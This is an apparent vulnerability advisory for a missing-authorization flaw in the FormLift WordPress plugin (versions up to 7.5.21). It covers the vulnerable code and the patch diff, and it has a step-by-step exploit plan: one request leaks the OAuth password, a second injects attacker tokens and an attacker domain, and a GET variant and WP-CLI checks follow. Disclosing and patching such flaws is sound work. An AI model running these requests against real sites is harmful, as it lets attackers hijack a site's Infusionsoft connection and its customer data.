FormLift for Infusionsoft Web Forms <= 7.5.21 - Missing Authorization to Unauthenticated Infusionsoft Connection Hijack via OAuth Connection Flow
Description
The FormLift for Infusionsoft Web Forms plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 7.5.21. This is due to missing capability checks on the connect() and listen_for_tokens() methods of the FormLift_Infusionsoft_Manager class, both of which are hooked to 'plugins_loaded' and execute on every page load. The connect() function generates an OAuth connection password and leaks it in the redirect Location header without verifying the requesting user is authenticated or authorized. The listen_for_tokens() function only validates the temporary password but performs no user authentication before calling update_option() to save attacker-controlled OAuth tokens and app domain. This makes it possible for unauthenticated attackers to hijack the site's Infusionsoft connection by first triggering the OAuth flow to obtain the temporary password, then using that password to set arbitrary OAuth tokens and app domain via update_option(), effectively redirecting the plugin's API communication to an attacker-controlled server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v7.5.22
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-4281 (FormLift for Infusionsoft Hijack) ## 1. Vulnerability Summary The **FormLift for Infusionsoft Web Forms** plugin (<= 7.5.21) contains a critical missing authorization vulnerability in the `FormLift_Infusionsoft_Manager` class. Specifically, the methods …
Show full research plan
Vulnerability Research Plan: CVE-2026-4281 (FormLift for Infusionsoft Hijack)
1. Vulnerability Summary
The FormLift for Infusionsoft Web Forms plugin (<= 7.5.21) contains a critical missing authorization vulnerability in the FormLift_Infusionsoft_Manager class. Specifically, the methods connect() and listen_for_tokens() are hooked to plugins_loaded and execute on every page load without verifying user capabilities or using nonces.
An unauthenticated attacker can trigger the OAuth connection flow to generate and leak a temporary "connection password" (OauthClientPass). The attacker can then use this password to invoke the token listener, allowing them to overwrite the site's Infusionsoft API credentials (appDomain, access_token, refresh_token) with values pointing to an attacker-controlled Infusionsoft application or a malicious proxy.
2. Attack Vector Analysis
- Endpoints: Any frontend or backend URL (since the vulnerable functions are hooked to
plugins_loaded). Typically, the site root/orwp-admin/admin-ajax.php. - Preconditions: The plugin must be active. No specific settings or existing connection is required.
- Vulnerable Parameters:
- Trigger 1 (Password Generation):
formlift_form_settings[activate_OAuth](POST) - Trigger 2 (Token Update):
OauthClientPass,appDomain,access_token,refresh_token,expires_in(GET/POST/REQUEST)
- Trigger 1 (Password Generation):
- Authentication: Unauthenticated (No user required).
3. Code Flow
Entry Point (Listener Registration):
Inmodules/api/infusionsoft-manager.php, hooks are registered:add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'listen_for_tokens' ) ); add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'connect' ) );Triggering Password Leak (
connect()):- The
connect()method checks forisset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ).FORMLIFT_SETTINGSis defined as'formlift_form_settings'. - It generates a password:
$pass = wp_generate_password( 8, false, false );. - It stores it in a transient:
set_transient( 'formlift_auth_pass', $pass, 60 * 5 );. - It redirects the user:
wp_redirect( static::AUTH_URI . '?' . $query );. - The
$queryincludes'OauthClientPass' => $pass. Because there is nocurrent_user_can()check, any visitor can trigger this and see the password in theLocationheader.
- The
Exploiting Hijack (
listen_for_tokens()):- The
listen_for_tokens()method checks forisset( $_REQUEST['OauthClientPass'] ). - It verifies the provided password against the transient:
if ( $pass != $_REQUEST['OauthClientPass'] ). - If valid, it extracts
appDomain,access_token,refresh_token, andexpires_infrom$_REQUEST. - It calls
update_option( 'Oauth_App_Domain', $app_domain );. - It calls
static::$app->updateAndSaveTokens(...), which saves the tokens to the database.
- The
4. Nonce Acquisition Strategy
No nonces are required.
The functions connect() and listen_for_tokens() do not utilize check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). The only "security" is the temporary password stored in a transient, which the attacker can obtain by triggering the first stage of the vulnerability.
5. Exploitation Strategy
Step 1: Obtain the temporary OauthClientPass
Send a POST request to the WordPress site. We must prevent the http_request tool from following redirects so we can capture the Location header.
- Request Type: POST
- URL:
http://localhost:8080/ - Body:
formlift_form_settings[activate_OAuth]=1 - Content-Type:
application/x-www-form-urlencoded - Expected Response: 302 Redirect.
- Extraction: Parse the
Locationheader for theOauthClientPassparameter value.
Step 2: Inject Malicious Connection Tokens
Use the extracted password to overwrite the plugin's Infusionsoft settings.
- Request Type: POST (or GET)
- URL:
http://localhost:8080/ - Body Parameters:
OauthClientPass:[EXTRACTED_PASSWORD]appDomain:attacker-app.infusionsoft.comaccess_token:MALICIOUS_ACCESS_TOKEN_12345refresh_token:MALICIOUS_REFRESH_TOKEN_67890expires_in:3600
- Content-Type:
application/x-www-form-urlencoded - Expected Response: 302 Redirect (to the FormLift settings page).
6. Test Data Setup
- Install and activate the FormLift plugin version 7.5.21.
- No further configuration is necessary as the attack is unauthenticated and works on default installations.
7. Expected Results
- After Step 1, the response's
Locationheader will contain a URL likehttps://formlift.net/oauth/?redirectUri=...&OauthConnect=true&OauthClientPass=ABCDEFGH. - After Step 2, the WordPress database will be updated with the attacker's
appDomainand tokens.
8. Verification Steps
Use WP-CLI to inspect the modified options:
- Check the App Domain:
wp option get Oauth_App_Domain
Expected:attacker-app.infusionsoft.com - Check the Connection Status:
wp option get oauth_last_status
Expected: A string containing "Authorized token at [DATE] for app attacker-app.infusionsoft.com" - Check if Transient is Cleared:
wp transient get formlift_auth_pass
Expected: Error or empty (indicating the exploit successfully called delete_transient).
9. Alternative Approaches
If POST is blocked for some reason on Step 1, note that connect() specifically checks $_POST, so POST is required for the initial leak. However, listen_for_tokens() uses $_REQUEST, so Step 2 can be performed via a simple GET request:GET /?OauthClientPass=PASS&appDomain=...&access_token=...&refresh_token=...&expires_in=3600
Summary
The FormLift for Infusionsoft Web Forms plugin up to version 7.5.21 lacks authorization checks and nonce verification on its OAuth connection functions. This allows unauthenticated attackers to initiate an OAuth flow, capture a leaked temporary password from a redirect, and then use that password to overwrite the site's Infusionsoft API credentials and application domain.
Vulnerable Code
// modules/api/infusionsoft-manager.php:20 public static function connect() { if ( isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ) ) { $pass = wp_generate_password( 8, false, false ); set_transient( 'formlift_auth_pass', $pass, 60 * 5 ); $params = array( 'redirectUri' => admin_url( 'edit.php?post_type=infusion_form&page=formlift_settings_page' ), 'OauthConnect' => true, 'OauthClientPass' => $pass ); $query = http_build_query( $params ); wp_redirect( static::AUTH_URI . '?' . $query ); //Send To OAuth Page... die(); } } --- // modules/api/infusionsoft-manager.php:45 public static function listen_for_tokens() { if ( isset( $_REQUEST['OauthClientPass'] ) ) { $pass = get_transient( 'formlift_auth_pass' ); if ( empty( $pass ) ) { wp_die( 'Could not verify server authorization for ' . site_url() . '. Please Try Again.' ); } elseif ( $pass != $_REQUEST['OauthClientPass'] ) { wp_die( 'Incorrect password. Please try again...' ); } $app_domain = sanitize_text_field( $_REQUEST['appDomain'] ); $access_token = sanitize_text_field( $_REQUEST['access_token'] ); $refresh_token = sanitize_text_field( $_REQUEST['refresh_token'] ); $expires_in = sanitize_text_field( $_REQUEST['expires_in'] ); static::$app = new FormLift_App( $app_domain ); static::$app->updateAndSaveTokens( $access_token, $refresh_token, $expires_in ); update_option( 'Oauth_App_Domain', $app_domain ); // ...
Security Fix
@@ -2,7 +2,7 @@ /* * Plugin Name: FormLift * Description: The Ultimate Web Form Solution for WordPress and Infusionsoft. Style your web forms, create personalized pages, and create epic automation with them too. - * Version: 7.5.21 + * Version: 7.5.22 * Author: Adrian Tobey * Plugin URI: https://formlift.net * Author URI: https://formlift.net/blog @@ -15,7 +15,7 @@ exit; } -define( 'FORMLIFT_VERSION', '7.5.21' ); +define( 'FORMLIFT_VERSION', '7.5.22' ); define( 'FORMLIFT_CSS_VERSION', '7.5.17' ); define( 'FORMLIFT_JS_VERSION', '7.5.14' ); define( 'FORMLIFT_VERSION_KEY', 'formlift_db_version' ); @@ -18,7 +18,18 @@ } public static function connect() { + if ( isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ) ) { + + if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) { + wp_die( 'You do not have permission to perform this action.' ); + } + + // nonce located in settings-page.php + if ( ! isset( $_POST['formlift_options'] ) || ! wp_verify_nonce( $_POST['formlift_options'], 'update' ) ) { + wp_die( 'Nonce verification failed.' ); + } + $pass = wp_generate_password( 8, false, false ); set_transient( 'formlift_auth_pass', $pass, 60 * 5 ); @@ -45,6 +56,10 @@ public static function listen_for_tokens() { if ( isset( $_REQUEST['OauthClientPass'] ) ) { + if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) { + wp_die( 'Unauthorized access.' ); + } + $pass = get_transient( 'formlift_auth_pass' ); if ( empty( $pass ) ) {
Exploit Outline
An unauthenticated attacker can hijack the Infusionsoft connection using two steps. First, the attacker sends a POST request to any site endpoint with 'formlift_form_settings[activate_OAuth]=1'. The connect() method executes on 'plugins_loaded', generates a transient-based 'OauthClientPass', and redirects the visitor to an external URL containing this password in the query string. By capturing the 'Location' header, the attacker obtains the password. Second, the attacker sends a request to the site containing 'OauthClientPass', 'appDomain', 'access_token', and 'refresh_token'. Because listen_for_tokens() also lacks authentication checks and only verifies the password, it will update the site's Infusionsoft configuration with the attacker's malicious credentials and domain.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.